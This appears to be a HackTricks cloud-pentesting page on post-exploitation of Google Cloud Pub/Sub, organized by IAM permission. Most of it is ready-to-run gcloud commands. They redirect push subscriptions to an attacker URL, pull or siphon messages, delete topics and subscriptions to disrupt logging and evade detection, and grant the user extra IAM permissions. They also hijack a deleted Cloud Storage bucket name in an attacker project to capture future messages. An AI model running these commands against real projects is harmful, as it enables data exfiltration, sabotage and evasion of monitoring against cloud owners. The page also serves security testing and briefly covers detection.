Sponsored

GCP - Pub/Sub Post Exploitation

Pub/Sub

For more information about Pub/Sub check the following page:

GCP - Pub/Sub Enum

pubsub.topics.publish

Publish a message in a topic, useful to send unexpected data and trigger unexpected functionalities or exploit vulnerabilities:[2]

Publish message to topic 
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Useful to prevent a subscription from receiving messages, maybe to avoid detection.[3]

Detach subscription from topic 
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Useful to prevent a subscription from receiving messages, maybe to avoid detection.
It's possible to delete a topic even with subscriptions attached to it.[4]

Delete topic 
gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Use this permission to update some setting of the topic to disrupt it, like --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...[5]

pubsub.topics.setIamPolicy

Give yourself permission to perform any of the previous attacks.[1][20][21][22]

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
  --member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
  --role="<ROLE_OR_CUSTOM_ROLE>" \
  --project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
  --member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
  --role="<ROLE_OR_CUSTOM_ROLE>" \
  --project="<PROJECT_ID>"
  
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
  <(echo '{
    "bindings": [
      {
        "role": "<ROLE_OR_CUSTOM_ROLE>",
        "members": [
          "serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
        ]
      }
    ]
  }') \
  --project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Get all the messages in a web server:[6]

Create push subscription to receive messages 
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Create a subscription and use it to pull messages:[7][8]

Create pull subscription and retrieve messages 
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Delete a subscription could be useful to disrupt a log processing system or something similar:[9]

Delete subscription 
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it.[10][11]

Update subscription endpoint 
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

Cloud Storage subscription bucket-name hijack - storage.buckets.delete

Pub/Sub subscriptions can write delivered messages into Cloud Storage buckets. If a subscription keeps pointing to gs://<bucket-name> and an attacker can delete that bucket, the attacker may recreate the same globally-unique bucket name in another project and receive future messages without changing the subscription.[11][12]

This can be valuable when the attacker cannot use pubsub.subscriptions.update, but can delete the destination bucket with permissions such as storage.buckets.delete, storage.objects.delete, and storage.objects.list.[13]

# Find Cloud Storage subscriptions and their destinations
gcloud pubsub subscriptions list --project <PROJECT_ID> \
  --format='json(name,topic,cloudStorageConfig)'

# Empty and delete the destination bucket
gcloud storage rm -r gs://<BUCKET_NAME>

# Recreate the same bucket name under attacker control
gcloud storage buckets create gs://<BUCKET_NAME> \
  --project <ATTACKER_PROJECT_ID> \
  --location <LOCATION>

# Grant the Pub/Sub service agent write access if delivery requires it
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
  --member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
  --role='roles/storage.objectCreator' \
  --project <ATTACKER_PROJECT_ID>

gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
  --member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
  --role='roles/storage.legacyBucketReader' \
  --project <ATTACKER_PROJECT_ID>

The commands below use the documented Cloud Storage CLI operations and grant the Pub/Sub service agent the roles required for Cloud Storage delivery.[11][14][15][16]

Potential Impact: exfiltration of future Pub/Sub messages archived to Cloud Storage, including application events, failed pipeline payloads, logs, or data lake ingestion records.

Detection & Mitigation: alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with cloudStorageConfig, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets.

pubsub.subscriptions.setIamPolicy

Give yourself the permissions needed to perform any of the previously commented attacks.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Attack a schema to a topic so messages that don't fulfil it are rejected and the topic is disrupted.[17]
If there aren't any schemas you might need to create one.[17]

Create schema file and attach to topic 
{
  "namespace": "com.example",
  "type": "record",
  "name": "Person",
  "fields": [
    {
      "name": "name",
      "type": "string"
    },
    {
      "name": "age",
      "type": "int"
    }
  ]
}

# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
    --schema=projects/<project-name>/schemas/<topic-id> \
    --message-encoding=json

pubsub.schemas.delete

Deleting a schema does not provide a way to publish messages that bypass validation: while a topic remains associated with that schema, publish attempts fail, and Google recommends removing the association before deleting it. This is therefore USELESS as a topic-disruption technique:[18]

Delete schema (not useful) 
gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Give yourself the permissions needed to perform any of the previously commented attacks.

pubsub.snapshots.create, pubsub.snapshots.seek

This will create a snapshot of the subscription's acknowledgment state and let you seek the subscription back to that state, making messages unacknowledged for redelivery. Not very useful for an attacker but here it's:[19]

Create snapshot and seek to it 
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
    --subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
    --snapshot=YOUR_SNAPSHOT_NAME

References

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks
Sponsored